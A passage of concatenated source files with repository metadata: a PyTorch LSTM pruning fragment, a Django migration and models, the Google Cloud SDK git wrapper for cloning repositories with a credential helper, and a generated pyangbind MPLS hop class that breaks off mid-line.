nn.ModuleDict, linear.parametrizations ) weight_parameterizations = cast( ParametrizationList, parametrization_dict.weight ) weight_parameterizations.original = nn.Parameter( weight_parameterizations.original[:, M_ho] ) linear.in_features = weight_parameterizations.original.shape[1] else: linear.weight = nn.Parameter(linear.weight[:, M_ho]) linear.in_features = linear.weight.shape[1] # if layernorm module, prune weight and bias if layernorm is not None: layernorm.normalized_shape = (linear.in_features,) layernorm.weight = nn.Parameter(layernorm.weight[M_ho]) layernorm.bias = nn.Parameter(layernorm.bias[M_ho]) # otherwise need to prune the columns of the input of the next LSTM layer else: with torch.no_grad(): if parametrize.is_parametrized(lstm, f"weight_ih_l{i+1}"): parametrization_dict = cast( nn.ModuleDict, lstm.parametrizations ) weight_parameterizations = cast( ParametrizationList, getattr(parametrization_dict, f"weight_ih_l{i+1}"), ) weight_parameterizations.original = nn.Parameter( weight_parameterizations.original[:, M_ho] ) else: next_layer_weight = getattr(lstm, f"weight_ih_l{i+1}") setattr( lstm, f"weight_ih_l{i+1}", nn.Parameter(next_layer_weight[:, M_ho]), )
6b55598316455e43f008e4b6dad8851ba4ed3aa7
e9a3f4a6f8828597dae8af8ea318b444af1798ba
/mag_ng/users/migrations/0003_auto_20200818_0517.py
f4d959172de433cee25454c2887bbea24208b12e
[]
no_license
kinsomaz/Online-Magazine-Website
c4a0b3b067a28202763a3646e02db9355e2e98a7
dbb02225af2202913ea7dcc076f5af0052db117c
refs/heads/master
2022-12-04T00:46:31.619920
2020-08-21T12:53:58
2020-08-21T12:53:58
null
0
0
null
null
null
null
UTF-8
Python
false
false
426
py
# Generated by Django 3.1 on 2020-08-18 04:17 from django.db import migrations, models class Migration(migrations.Migration): dependencies = [ ('users', '0002_auto_20200818_0506'), ] operations = [ migrations.AlterField( model_name='customuser', name='username', field=models.CharField(max_length=20, unique=True, verbose_name='username'), ), ]
8bd3e7c8d668cfc74846117b6febfca47c28fc71
3b84c4b7b16ccfd0154f8dcb75ddbbb6636373be
/google-cloud-sdk/lib/googlecloudsdk/shared/source/git.py
ee124d0731c0133d6e31483c44d56b4db9f1f8c3
[ "Apache-2.0", "LicenseRef-scancode-unknown-license-reference" ]
permissive
twistedpair/google-cloud-sdk
37f04872cf1ab9c9ce5ec692d2201a93679827e3
1f9b424c40a87b46656fc9f5e2e9c81895c7e614
refs/heads/master
2023-08-18T18:42:59.622485
2023-08-15T00:00:00
2023-08-15T12:14:05
116,506,777
58
24
null
2022-02-14T22:01:53
2018-01-06T18:40:35
Python
UTF-8
Python
false
false
9,823
py
# Copyright 2015 Google Inc. All Rights Reserved. """Wrapper to manipulate GCP git repository.""" import errno import os import re import subprocess import textwrap from googlecloudsdk.core import log from googlecloudsdk.core.util import compat26 from googlecloudsdk.core.util import files from googlecloudsdk.core.util import platforms import uritemplate # This regular expression is used to extract the URL of the 'origin' remote by # scraping 'git remote show origin'. _ORIGIN_URL_RE = re.compile(r'remote origin\n.*Fetch URL: (?P<url>.+)\n', re.M) # This is the minimum version of git required to use credential helpers. _HELPER_MIN = (1, 7, 9) class Error(Exception): """Exceptions for this module.""" class UnknownRepositoryAliasException(Error): """Exception to be thrown when a repository alias provided cannot be found.""" class CannotInitRepositoryException(Error): """Exception to be thrown when a repository cannot be created.""" class CannotFetchRepositoryException(Error): """Exception to be thrown when a repository cannot be fetched.""" class GitVersionException(Error): """Exceptions for when git version is too old.""" def __init__(self, fmtstr, cur_version, min_version): super(GitVersionException, self).__init__( fmtstr.format(cur_version=cur_version, min_version=min_version)) class InvalidGitException(Error): """Exceptions for when git version is empty or invalid.""" def __init__(self, message): super(InvalidGitException, self).__init__(message) class MissingCredentialHelper(Error): """Exception for when the gcloud credential helper cannot be found.""" def __init__(self, message): super(MissingCredentialHelper, self).__init__(message) def CheckGitVersion(version_lower_bound=None): """Returns true when version of git is >= min_version. Args: version_lower_bound: (int,int,int), The lowest allowed version, or None to just check for the presence of git. Returns: True if version >= min_version. Raises: GitVersionException: if `git` was found, but the version is incorrect. InvalidGitException: if `git` was found, but the output of `git version` is not as expected. NoGitException: if `git` was not found. """ try: output = compat26.subprocess.check_output(['git', 'version']) if not output: raise InvalidGitException('The git version string is empty.') if not output.startswith('git version '): raise InvalidGitException(('The git version string must start with ' 'git version .')) match = re.search(r'(\d+)\.(\d+)\.(\d+)', output) if not match: raise InvalidGitException('The git version string must contain a ' 'version number.') cur_version = match.group(1, 2, 3) current_version = tuple([int(item) for item in cur_version]) if version_lower_bound and current_version < version_lower_bound: min_version = '.'.join(str(i) for i in version_lower_bound) raise GitVersionException( ('Your git version {cur_version} is older than the minimum version ' '{min_version}. Please install a newer version of git.'), output, min_version) except OSError as e: if e.errno == errno.ENOENT: raise NoGitException() raise return True class NoGitException(Error): """Exceptions for when git is not available.""" def __init__(self): super(NoGitException, self).__init__( textwrap.dedent("""\ Cannot find git. Please install git and try again. You can find git installers at [http://git-scm.com/downloads], or use your favorite package manager to install it on your computer. Make sure it can be found on your system PATH. """)) def _GetRepositoryURI(project, alias): """Get the URI for a repository, given its project and alias. Args: project: str, The project name. alias: str, The repository alias. Returns: str, The repository URI. """ return uritemplate.expand( 'https://source.developers.google.com/p/{project}/r/{alias}', {'project': project, 'alias': alias}) def _GetCredentialHelper(): """Get a path to the credential helper. Tries to find the credential helper installed with this version of gcloud. If the credential helper is not in PATH, it throws an error instructing the user to add the Cloud SDK on PATH. If the helper is in PATH, it returns the relative git suffix for the helper. Git adds the 'git-credential-' prefix automatically. Returns: str, credential helper command name without 'git-credential-' prefix Raises: MissingCredentialHelper: if the credential helper cannot be found """ if (platforms.OperatingSystem.Current() == platforms.OperatingSystem.WINDOWS): helper_ext = '.cmd' else: helper_ext = '.sh' helper_name = 'gcloud' helper_prefix = 'git-credential-' helper = files.FindExecutableOnPath(helper_prefix + helper_name, pathext=[helper_ext]) if not helper: raise MissingCredentialHelper( 'Could not find gcloud\'s git credential helper. ' 'Please make sure the Cloud SDK bin folder is in PATH.') return helper_name + helper_ext class Git(object): """Represents project git repo.""" def __init__(self, project_id, repo_name, uri=None): """Clone a repository associated with a Google Cloud Project. Looks up the URL of the indicated repository, and clones it to alias. Args: project_id: str, The name of the project that has a repository associated with it. repo_name: str, The name of the repository to clone. uri: str, The URI of the repository to clone, or None if it will be inferred from the name. Raises: UnknownRepositoryAliasException: If the repo name is not known to be associated with the project. """ self._project_id = project_id self._repo_name = repo_name self._uri = uri or _GetRepositoryURI(project_id, repo_name) if not self._uri: raise UnknownRepositoryAliasException() def GetName(self): return self._repo_name def Clone(self, destination_path): """Clone a git repository into a gcloud workspace. If the resulting clone does not have a .gcloud directory, create one. Also, sets the credential.helper to use the gcloud credential helper. Args: destination_path: str, The relative path for the repository clone. Returns: str, The absolute path of cloned repository. Raises: CannotInitRepositoryException: If there is already a file or directory in the way of creating this repository. CannotFetchRepositoryException: If there is a problem fetching the repository from the remote host, or if the repository is otherwise misconfigured. """ abs_repository_path = os.path.abspath(destination_path) if os.path.exists(abs_repository_path): CheckGitVersion() # Do this here, before we start running git commands # First check if it's already the repository we're looking for. with files.ChDir(abs_repository_path) as _: try: output = compat26.subprocess.check_output( ['git', 'remote', 'show', 'origin']) except subprocess.CalledProcessError: raise CannotFetchRepositoryException( 'Repository in [{path}] is misconfigured.'.format( path=abs_repository_path)) output_match = _ORIGIN_URL_RE.search(output) if not output_match or output_match.group('url') != self._uri: raise CannotInitRepositoryException( ('Repository [{url}] cannot be cloned to [{path}]: there' ' is something already there.').format( url=self._uri, path=abs_repository_path)) else: # Repository exists and is correctly configured: abort. log.err.Print( ('Repository in [{path}] already exists and maps to [{uri}].' .format(path=abs_repository_path, uri=self._uri))) return None # Nothing is there, make a brand new repository. try: if (self._uri.startswith('https://code.google.com') or self._uri.startswith('https://source.developers.google.com')): # If this is a Google-hosted repo, clone with the cred helper. try: CheckGitVersion(_HELPER_MIN) except GitVersionException: log.warn(textwrap.dedent("""\ You are cloning a Google-hosted repository with a version of git older than 1.7.9. If you upgrade to 1.7.9 or later, gcloud can handle authentication to this repository. Otherwise, to authenticate, use your Google account and the password found by running the following command. $ gcloud auth print-refresh-token """)) cmd = ['git', 'clone', self._uri, abs_repository_path] log.debug('Executing %s', cmd) subprocess.check_call(cmd) else: cmd = ['git', 'clone', self._uri, abs_repository_path, '--config', 'credential.helper="{0}"'.format(_GetCredentialHelper())] log.debug('Executing %s', cmd) subprocess.check_call(cmd) else: # Otherwise, just do a simple clone. We do this clone, without the # credential helper, because a user may have already set a default # credential helper that would know the repo's auth info. subprocess.check_call( ['git', 'clone', self._uri, abs_repository_path]) except subprocess.CalledProcessError as e: raise CannotFetchRepositoryException(e) return abs_repository_path
30dbf2c9ddf45492b2c4906ac69c6fdaf6cf3b0c
9547f82dc5a81bdc19ba5442d41518a81b518825
/consecucion_traspaso/models.py
e3468724b015cae28f71774b7f879788abe68b5d
[]
no_license
luisfarfan/capacitacion
12784f95564eda1dc38dc22aa518b99d4b315c75
c93e4502476c02bb3755a68d84404453b2c2dd81
refs/heads/master
2021-01-11T04:17:15.476849
2017-02-14T01:13:27
2017-02-14T01:13:27
71,189,018
0
0
null
null
null
null
UTF-8
Python
false
false
1,823
py
from __future__ import unicode_literals from django.db import models # Create your models here. class PersonalCapacitacion(models.Model): id_per = models.IntegerField(primary_key=True) dni = models.CharField(max_length=8, blank=True, null=True) ape_paterno = models.CharField(max_length=100, blank=True, null=True, db_column='ape_paterno') ape_materno = models.CharField(max_length=100, blank=True, null=True, db_column='ape_materno') nombre = models.CharField(max_length=100, blank=True, null=True, db_column='nombre') id_cargofuncional = models.IntegerField() id_convocatoriacargo = models.IntegerField() zona = models.CharField(max_length=5, blank=True, null=True) contingencia = models.IntegerField(blank=True, null=True) ubigeo = models.CharField(max_length=6) class Meta: managed = False db_table = 'v_personal_capacitacion' class MetaSeleccion(models.Model): ccdd = models.CharField(max_length=2, blank=True, null=True) ccpp = models.CharField(max_length=2, blank=True, null=True) ccdi = models.CharField(max_length=2, blank=True, null=True) ubigeo = models.CharField(max_length=6, blank=True, null=True) id_convocatoriacargo = models.IntegerField() id_cargofuncional = models.IntegerField() meta = models.IntegerField() class Meta: managed = False db_table = 'meta_seleccion' # bandaprob # 3 = ALTA # 4 = BAJA class Ficha177(models.Model): id_per = models.IntegerField(primary_key=True) id_convocatoriacargo = models.IntegerField() capacita = models.IntegerField() notacap = models.FloatField() seleccionado = models.IntegerField() sw_titu = models.IntegerField() bandaprob = models.IntegerField() class Meta: managed = False db_table = 'ficha_177'
c7f7dc9027e7c74dc467b0c29e884e7db7d62e4f
51f887286aa3bd2c3dbe4c616ad306ce08976441
/pybind/slxos/v17r_1_01a/brocade_mpls_rpc/show_mpls_lsp_name_detail/output/lsp/show_mpls_lsp_detail_info/show_mpls_lsp_instances_info/lsp_instances/lsp_rsvp_session_rro_hops/show_mpls_lsp_hop_list/hop/__init__.py
96131278f35a517493f7e62b5cba8e2907096906
[ "Apache-2.0" ]
permissive
b2220333/pybind
a8c06460fd66a97a78c243bf144488eb88d7732a
44c467e71b2b425be63867aba6e6fa28b2cfe7fb
refs/heads/master
2020-03-18T09:09:29.574226
2018-04-03T20:09:50
2018-04-03T20:09:50
null
0
0
null
null
null
null
UTF-8
Python
false
false
38,501
py
from operator import attrgetter import pyangbind.lib.xpathhelper as xpathhelper from pyangbind.lib.yangtypes import RestrictedPrecisionDecimalType, RestrictedClassType, TypedListType from pyangbind.lib.yangtypes import YANGBool, YANGListType, YANGDynClass, ReferenceType from pyangbind.lib.base import PybindBase from decimal import Decimal from bitarray import bitarray import __builtin__ class hop(PybindBase): """ This class was auto-generated by the PythonClass plugin for PYANG from YANG module brocade-mpls - based on the path /brocade_mpls_rpc/show-mpls-lsp-name-detail/output/lsp/show-mpls-lsp-detail-info/show-mpls-lsp-instances-info/lsp-instances/lsp-rsvp-session-rro-hops/show-mpls-lsp-hop-list/hop. Each member element of the container is represented as a class variable - with a specific YANG type. """ __slots__ = ('_pybind_generated_by', '_path_helper', '_yang_name', '_rest_name', '_extmethods', '__lsp_hop_address','__lsp_hop_strict_hop','__lsp_hop_loose_hop','__lsp_hop_is_router_id','__lsp_hop_has_protection','__lsp_hop_has_node_protection','__lsp_hop_has_bandwidth_protection','__lsp_hop_has_protection_in_use','__lsp_hop_avoid_node','__lsp_hop_avoid_local','__lsp_hop_avoid_remote',) _yang_name = 'hop' _rest_name = 'hop' _pybind_generated_by = 'container' def __init__(self, *args, **kwargs): path_helper_ = kwargs.pop("path_helper", None) if path_helper_ is False: self._path_helper = False elif path_helper_ is not None and isinstance(path_helper_, xpathhelper.YANGPathHelper): self._path_helper = path_helper_ elif hasattr(self, "_parent"): path_helper_ = getattr(self._parent, "_path_helper", False) self._path_helper = path_helper_ else: self._path_helper = False extmethods = kwargs.pop("extmethods", None) if extmethods is False: self._extmethods = False elif extmethods is not None and isinstance(extmethods, dict): self._extmethods = extmethods elif hasattr(self, "_parent"): extmethods = getattr(self._parent, "_extmethods", None) self._extmethods = extmethods else: self._extmethods = False self.__lsp_hop_avoid_remote = YANGDynClass(base=YANGBool, is_leaf=True, yang_name="lsp-hop-avoid-remote", rest_name="lsp-hop-avoid-remote", parent=self, path_helper=self._path_helper, extmethods=self._extmethods, register_paths=False, namespace='urn:brocade.com:mgmt:brocade-mpls', defining_module='brocade-mpls', yang_type='boolean', is_config=True) self.__lsp_hop_avoid_node = YANGDynClass(base=YANGBool, is_leaf=True, yang_name="lsp-hop-avoid-node", rest_name="lsp-hop-avoid-node", parent=self, path_helper=self._path_helper, extmethods=self._extmethods, register_paths=False, namespace='urn:brocade.com:mgmt:brocade-mpls', defining_module='brocade-mpls', yang_type='boolean', is_config=True) self.__lsp_hop_has_protection_in_use = YANGDynClass(base=YANGBool, is_leaf=True, yang_name="lsp-hop-has-protection-in-use", rest_name="lsp-hop-has-protection-in-use", parent=self, path_helper=self._path_helper, extmethods=self._extmethods, register_paths=False, namespace='urn:brocade.com:mgmt:brocade-mpls', defining_module='brocade-mpls', yang_type='boolean', is_config=True) self.__lsp_hop_has_protection = YANGDynClass(base=YANGBool, is_leaf=True, yang_name="lsp-hop-has-protection", rest_name="lsp-hop-has-protection", parent=self, path_helper=self._path_helper, extmethods=self._extmethods, register_paths=False, namespace='urn:brocade.com:mgmt:brocade-mpls', defining_module='brocade-mpls', yang_type='boolean', is_config=True) self.__lsp_hop_avoid_local = YANGDynClass(base=YANGBool, is_leaf=True, yang_name="lsp-hop-avoid-local", rest_name="lsp-hop-avoid-local", parent=self, path_helper=self._path_helper, extmethods=self._extmethods, register_paths=False, namespace='urn:brocade.com:mgmt:brocade-mpls', defining_module='brocade-mpls', yang_type='boolean', is_config=True) self.__lsp_hop_has_bandwidth_protection = YANGDynClass(base=YANGBool, is_leaf=True, yang_name="lsp-hop-has-bandwidth-protection", rest_name="lsp-hop-has-bandwidth-protection", parent=self, path_helper=self._path_helper, extmethods=self._extmethods, register_paths=False, namespace='urn:brocade.com:mgmt:brocade-mpls', defining_module='brocade-mpls', yang_type='boolean', is_config=True) self.__lsp_hop_strict_hop = YANGDynClass(base=YANGBool, is_leaf=True, yang_name="lsp-hop-strict-hop", rest_name="lsp-hop-strict-hop", parent=self, path_helper=self._path_helper, extmethods=self._extmethods, register_paths=False, namespace='urn:brocade.com:mgmt:brocade-mpls', defining_module='brocade-mpls', yang_type='boolean', is_config=True) self.__lsp_hop_is_router_id = YANGDynClass(base=YANGBool, is_leaf=True, yang_name="lsp-hop-is-router-id", rest_name="lsp-hop-is-router-id", parent=self, path_helper=self._path_helper, extmethods=self._extmethods, register_paths=False, namespace='urn:brocade.com:mgmt:brocade-mpls', defining_module='brocade-mpls', yang_type='boolean', is_config=True) self.__lsp_hop_address = YANGDynClass(base=RestrictedClassType(base_type=unicode, restriction_dict={'pattern': u'(([0-9]|[1-9][0-9]|1[0-9][0-9]|2[0-4][0-9]|25[0-5])\\.){3}([0-9]|[1-9][0-9]|1[0-9][0-9]|2[0-4][0-9]|25[0-5])(%[\\p{N}\\p{L}]+)?'}), is_leaf=True, yang_name="lsp-hop-address", rest_name="lsp-hop-address", parent=self, path_helper=self._path_helper, extmethods=self._extmethods, register_paths=False, is_keyval=True, namespace='urn:brocade.com:mgmt:brocade-mpls', defining_module='brocade-mpls', yang_type='inet:ipv4-address', is_config=True) self.__lsp_hop_has_node_protection = YANGDynClass(base=YANGBool, is_leaf=True, yang_name="lsp-hop-has-node-protection", rest_name="lsp-hop-has-node-protection", parent=self, path_helper=self._path_helper, extmethods=self._extmethods, register_paths=False, namespace='urn:brocade.com:mgmt:brocade-mpls', defining_module='brocade-mpls', yang_type='boolean', is_config=True) self.__lsp_hop_loose_hop = YANGDynClass(base=YANGBool, is_leaf=True, yang_name="lsp-hop-loose-hop", rest_name="lsp-hop-loose-hop", parent=self, path_helper=self._path_helper, extmethods=self._extmethods, register_paths=False, namespace='urn:brocade.com:mgmt:brocade-mpls', defining_module='brocade-mpls', yang_type='boolean', is_config=True) load = kwargs.pop("load", None) if args: if len(args) > 1: raise TypeError("cannot create a YANG container with >1 argument") all_attr = True for e in self._pyangbind_elements: if not hasattr(args[0], e): all_attr = False break if not all_attr: raise ValueError("Supplied object did not have the correct attributes") for e in self._pyangbind_elements: nobj = getattr(args[0], e) if nobj._changed() is False: continue setmethod = getattr(self, "_set_%s" % e) if load is None: setmethod(getattr(args[0], e)) else: setmethod(getattr(args[0], e), load=load) def _path(self): if hasattr(self, "_parent"): return self._parent._path()+[self._yang_name] else: return [u'brocade_mpls_rpc', u'show-mpls-lsp-name-detail', u'output', u'lsp', u'show-mpls-lsp-detail-info', u'show-mpls-lsp-instances-info', u'lsp-instances', u'lsp-rsvp-session-rro-hops', u'show-mpls-lsp-hop-list', u'hop'] def _rest_path(self): if hasattr(self, "_parent"): if self._rest_name: return self._parent._rest_path()+[self._rest_name] else: return self._parent._rest_path() else: return [u'show-mpls-lsp-name-detail', u'output', u'lsp', u'lsp-instances', u'lsp-rsvp-session-rro-hops', u'hop'] def _get_lsp_hop_address(self): """ Getter method for lsp_hop_address, mapped from YANG variable /brocade_mpls_rpc/show_mpls_lsp_name_detail/output/lsp/show_mpls_lsp_detail_info/show_mpls_lsp_instances_info/lsp_instances/lsp_rsvp_session_rro_hops/show_mpls_lsp_hop_list/hop/lsp_hop_address (inet:ipv4-address) YANG Description: Hop IP address """ return self.__lsp_hop_address def _set_lsp_hop_address(self, v, load=False): """ Setter method for lsp_hop_address, mapped from YANG variable /brocade_mpls_rpc/show_mpls_lsp_name_detail/output/lsp/show_mpls_lsp_detail_info/show_mpls_lsp_instances_info/lsp_instances/lsp_rsvp_session_rro_hops/show_mpls_lsp_hop_list/hop/lsp_hop_address (inet:ipv4-address) If this variable is read-only (config: false) in the source YANG file, then _set_lsp_hop_address is considered as a private method. Backends looking to populate this variable should do so via calling thisObj._set_lsp_hop_address() directly. YANG Description: Hop IP address """ parent = getattr(self, "_parent", None) if parent is not None and load is False: raise AttributeError("Cannot set keys directly when" + " within an instantiated list") if hasattr(v, "_utype"): v = v._utype(v) try: t = YANGDynClass(v,base=RestrictedClassType(base_type=unicode, restriction_dict={'pattern': u'(([0-9]|[1-9][0-9]|1[0-9][0-9]|2[0-4][0-9]|25[0-5])\\.){3}([0-9]|[1-9][0-9]|1[0-9][0-9]|2[0-4][0-9]|25[0-5])(%[\\p{N}\\p{L}]+)?'}), is_leaf=True, yang_name="lsp-hop-address", rest_name="lsp-hop-address", parent=self, path_helper=self._path_helper, extmethods=self._extmethods, register_paths=False, is_keyval=True, namespace='urn:brocade.com:mgmt:brocade-mpls', defining_module='brocade-mpls', yang_type='inet:ipv4-address', is_config=True) except (TypeError, ValueError): raise ValueError({ 'error-string': """lsp_hop_address must be of a type compatible with inet:ipv4-address""", 'defined-type': "inet:ipv4-address", 'generated-type': """YANGDynClass(base=RestrictedClassType(base_type=unicode, restriction_dict={'pattern': u'(([0-9]|[1-9][0-9]|1[0-9][0-9]|2[0-4][0-9]|25[0-5])\\.){3}([0-9]|[1-9][0-9]|1[0-9][0-9]|2[0-4][0-9]|25[0-5])(%[\\p{N}\\p{L}]+)?'}), is_leaf=True, yang_name="lsp-hop-address", rest_name="lsp-hop-address", parent=self, path_helper=self._path_helper, extmethods=self._extmethods, register_paths=False, is_keyval=True, namespace='urn:brocade.com:mgmt:brocade-mpls', defining_module='brocade-mpls', yang_type='inet:ipv4-address', is_config=True)""", }) self.__lsp_hop_address = t if hasattr(self, '_set'): self._set() def _unset_lsp_hop_address(self): self.__lsp_hop_address = YANGDynClass(base=RestrictedClassType(base_type=unicode, restriction_dict={'pattern': u'(([0-9]|[1-9][0-9]|1[0-9][0-9]|2[0-4][0-9]|25[0-5])\\.){3}([0-9]|[1-9][0-9]|1[0-9][0-9]|2[0-4][0-9]|25[0-5])(%[\\p{N}\\p{L}]+)?'}), is_leaf=True, yang_name="lsp-hop-address", rest_name="lsp-hop-address", parent=self, path_helper=self._path_helper, extmethods=self._extmethods, register_paths=False, is_keyval=True, namespace='urn:brocade.com:mgmt:brocade-mpls', defining_module='brocade-mpls', yang_type='inet:ipv4-address', is_config=True) def _get_lsp_hop_strict_hop(self): """ Getter method for lsp_hop_strict_hop, mapped from YANG variable /brocade_mpls_rpc/show_mpls_lsp_name_detail/output/lsp/show_mpls_lsp_detail_info/show_mpls_lsp_instances_info/lsp_instances/lsp_rsvp_session_rro_hops/show_mpls_lsp_hop_list/hop/lsp_hop_strict_hop (boolean) YANG Description: CSPF path Strict hop """ return self.__lsp_hop_strict_hop def _set_lsp_hop_strict_hop(self, v, load=False): """ Setter method for lsp_hop_strict_hop, mapped from YANG variable /brocade_mpls_rpc/show_mpls_lsp_name_detail/output/lsp/show_mpls_lsp_detail_info/show_mpls_lsp_instances_info/lsp_instances/lsp_rsvp_session_rro_hops/show_mpls_lsp_hop_list/hop/lsp_hop_strict_hop (boolean) If this variable is read-only (config: false) in the source YANG file, then _set_lsp_hop_strict_hop is considered as a private method. Backends looking to populate this variable should do so via calling thisObj._set_lsp_hop_strict_hop() directly. YANG Description: CSPF path Strict hop """ if hasattr(v, "_utype"): v = v._utype(v) try: t = YANGDynClass(v,base=YANGBool, is_leaf=True, yang_name="lsp-hop-strict-hop", rest_name="lsp-hop-strict-hop", parent=self, path_helper=self._path_helper, extmethods=self._extmethods, register_paths=False, namespace='urn:brocade.com:mgmt:brocade-mpls', defining_module='brocade-mpls', yang_type='boolean', is_config=True) except (TypeError, ValueError): raise ValueError({ 'error-string': """lsp_hop_strict_hop must be of a type compatible with boolean""", 'defined-type': "boolean", 'generated-type': """YANGDynClass(base=YANGBool, is_leaf=True, yang_name="lsp-hop-strict-hop", rest_name="lsp-hop-strict-hop", parent=self, path_helper=self._path_helper, extmethods=self._extmethods, register_paths=False, namespace='urn:brocade.com:mgmt:brocade-mpls', defining_module='brocade-mpls', yang_type='boolean', is_config=True)""", }) self.__lsp_hop_strict_hop = t if hasattr(self, '_set'): self._set() def _unset_lsp_hop_strict_hop(self): self.__lsp_hop_strict_hop = YANGDynClass(base=YANGBool, is_leaf=True, yang_name="lsp-hop-strict-hop", rest_name="lsp-hop-strict-hop", parent=self, path_helper=self._path_helper, extmethods=self._extmethods, register_paths=False, namespace='urn:brocade.com:mgmt:brocade-mpls', defining_module='brocade-mpls', yang_type='boolean', is_config=True) def _get_lsp_hop_loose_hop(self): """ Getter method for lsp_hop_loose_hop, mapped from YANG variable /brocade_mpls_rpc/show_mpls_lsp_name_detail/output/lsp/show_mpls_lsp_detail_info/show_mpls_lsp_instances_info/lsp_instances/lsp_rsvp_session_rro_hops/show_mpls_lsp_hop_list/hop/lsp_hop_loose_hop (boolean) YANG Description: CSPF path Loose hop """ return self.__lsp_hop_loose_hop def _set_lsp_hop_loose_hop(self, v, load=False): """ Setter method for lsp_hop_loose_hop, mapped from YANG variable /brocade_mpls_rpc/show_mpls_lsp_name_detail/output/lsp/show_mpls_lsp_detail_info/show_mpls_lsp_instances_info/lsp_instances/lsp_rsvp_session_rro_hops/show_mpls_lsp_hop_list/hop/lsp_hop_loose_hop (boolean) If this variable is read-only (config: false) in the source YANG file, then _set_lsp_hop_loose_hop is considered as a private method. Backends looking to populate this variable should do so via calling thisObj._set_lsp_hop_loose_hop() directly. YANG Description: CSPF path Loose hop """ if hasattr(v, "_utype"): v = v._utype(v) try: t = YANGDynClass(v,base=YANGBool, is_leaf=True, yang_name="lsp-hop-loose-hop", rest_name="lsp-hop-loose-hop", parent=self, path_helper=self._path_helper, extmethods=self._extmethods, register_paths=False, namespace='urn:brocade.com:mgmt:brocade-mpls', defining_module='brocade-mpls', yang_type='boolean', is_config=True) except (TypeError, ValueError): raise ValueError({ 'error-string': """lsp_hop_loose_hop must be of a type compatible with boolean""", 'defined-type': "boolean", 'generated-type': """YANGDynClass(base=YANGBool, is_leaf=True, yang_name="lsp-hop-loose-hop", rest_name="lsp-hop-loose-hop", parent=self, path_helper=self._path_helper, extmethods=self._extmethods, register_paths=False, namespace='urn:brocade.com:mgmt:brocade-mpls', defining_module='brocade-mpls', yang_type='boolean', is_config=True)""", }) self.__lsp_hop_loose_hop = t if hasattr(self, '_set'): self._set() def _unset_lsp_hop_loose_hop(self): self.__lsp_hop_loose_hop = YANGDynClass(base=YANGBool, is_leaf=True, yang_name="lsp-hop-loose-hop", rest_name="lsp-hop-loose-hop", parent=self, path_helper=self._path_helper, extmethods=self._extmethods, register_paths=False, namespace='urn:brocade.com:mgmt:brocade-mpls', defining_module='brocade-mpls', yang_type='boolean', is_config=True) def _get_lsp_hop_is_router_id(self): """ Getter method for lsp_hop_is_router_id, mapped from YANG variable /brocade_mpls_rpc/show_mpls_lsp_name_detail/output/lsp/show_mpls_lsp_detail_info/show_mpls_lsp_instances_info/lsp_instances/lsp_rsvp_session_rro_hops/show_mpls_lsp_hop_list/hop/lsp_hop_is_router_id (boolean) YANG Description: Hop is a router id hop """ return self.__lsp_hop_is_router_id def _set_lsp_hop_is_router_id(self, v, load=False): """ Setter method for lsp_hop_is_router_id, mapped from YANG variable /brocade_mpls_rpc/show_mpls_lsp_name_detail/output/lsp/show_mpls_lsp_detail_info/show_mpls_lsp_instances_info/lsp_instances/lsp_rsvp_session_rro_hops/show_mpls_lsp_hop_list/hop/lsp_hop_is_router_id (boolean) If this variable is read-only (config: false) in the source YANG file, then _set_lsp_hop_is_router_id is considered as a private method. Backends looking to populate this variable should do so via calling thisObj._set_lsp_hop_is_router_id() directly. YANG Description: Hop is a router id hop """ if hasattr(v, "_utype"): v = v._utype(v) try: t = YANGDynClass(v,base=YANGBool, is_leaf=True, yang_name="lsp-hop-is-router-id", rest_name="lsp-hop-is-router-id", parent=self, path_helper=self._path_helper, extmethods=self._extmethods, register_paths=False, namespace='urn:brocade.com:mgmt:brocade-mpls', defining_module='brocade-mpls', yang_type='boolean', is_config=True) except (TypeError, ValueError): raise ValueError({ 'error-string': """lsp_hop_is_router_id must be of a type compatible with boolean""", 'defined-type': "boolean", 'generated-type': """YANGDynClass(base=YANGBool, is_leaf=True, yang_name="lsp-hop-is-router-id", rest_name="lsp-hop-is-router-id", parent=self, path_helper=self._path_helper, extmethods=self._extmethods, register_paths=False, namespace='urn:brocade.com:mgmt:brocade-mpls', defining_module='brocade-mpls', yang_type='boolean', is_config=True)""", }) self.__lsp_hop_is_router_id = t if hasattr(self, '_set'): self._set() def _unset_lsp_hop_is_router_id(self): self.__lsp_hop_is_router_id = YANGDynClass(base=YANGBool, is_leaf=True, yang_name="lsp-hop-is-router-id", rest_name="lsp-hop-is-router-id", parent=self, path_helper=self._path_helper, extmethods=self._extmethods, register_paths=False, namespace='urn:brocade.com:mgmt:brocade-mpls', defining_module='brocade-mpls', yang_type='boolean', is_config=True) def _get_lsp_hop_has_protection(self): """ Getter method for lsp_hop_has_protection, mapped from YANG variable /brocade_mpls_rpc/show_mpls_lsp_name_detail/output/lsp/show_mpls_lsp_detail_info/show_mpls_lsp_instances_info/lsp_instances/lsp_rsvp_session_rro_hops/show_mpls_lsp_hop_list/hop/lsp_hop_has_protection (boolean) YANG Description: RRO hop Protection available """ return self.__lsp_hop_has_protection def _set_lsp_hop_has_protection(self, v, load=False): """ Setter method for lsp_hop_has_protection, mapped from YANG variable /brocade_mpls_rpc/show_mpls_lsp_name_detail/output/lsp/show_mpls_lsp_detail_info/show_mpls_lsp_instances_info/lsp_instances/lsp_rsvp_session_rro_hops/show_mpls_lsp_hop_list/hop/lsp_hop_has_protection (boolean) If this variable is read-only (config: false) in the source YANG file, then _set_lsp_hop_has_protection is considered as a private method. Backends looking to populate this variable should do so via calling thisObj._set_lsp_hop_has_protection() directly. YANG Description: RRO hop Protection available """ if hasattr(v, "_utype"): v = v._utype(v) try: t = YANGDynClass(v,base=YANGBool, is_leaf=True, yang_name="lsp-hop-has-protection", rest_name="lsp-hop-has-protection", parent=self, path_helper=self._path_helper, extmethods=self._extmethods, register_paths=False, namespace='urn:brocade.com:mgmt:brocade-mpls', defining_module='brocade-mpls', yang_type='boolean', is_config=True) except (TypeError, ValueError): raise ValueError({ 'error-string': """lsp_hop_has_protection must be of a type compatible with boolean""", 'defined-type': "boolean", 'generated-type': """YANGDynClass(base=YANGBool, is_leaf=True, yang_name="lsp-hop-has-protection", rest_name="lsp-hop-has-protection", parent=self, path_helper=self._path_helper, extmethods=self._extmethods, register_paths=False, namespace='urn:brocade.com:mgmt:brocade-mpls', defining_module='brocade-mpls', yang_type='boolean', is_config=True)""", }) self.__lsp_hop_has_protection = t if hasattr(self, '_set'): self._set() def _unset_lsp_hop_has_protection(self): self.__lsp_hop_has_protection = YANGDynClass(base=YANGBool, is_leaf=True, yang_name="lsp-hop-has-protection", rest_name="lsp-hop-has-protection", parent=self, 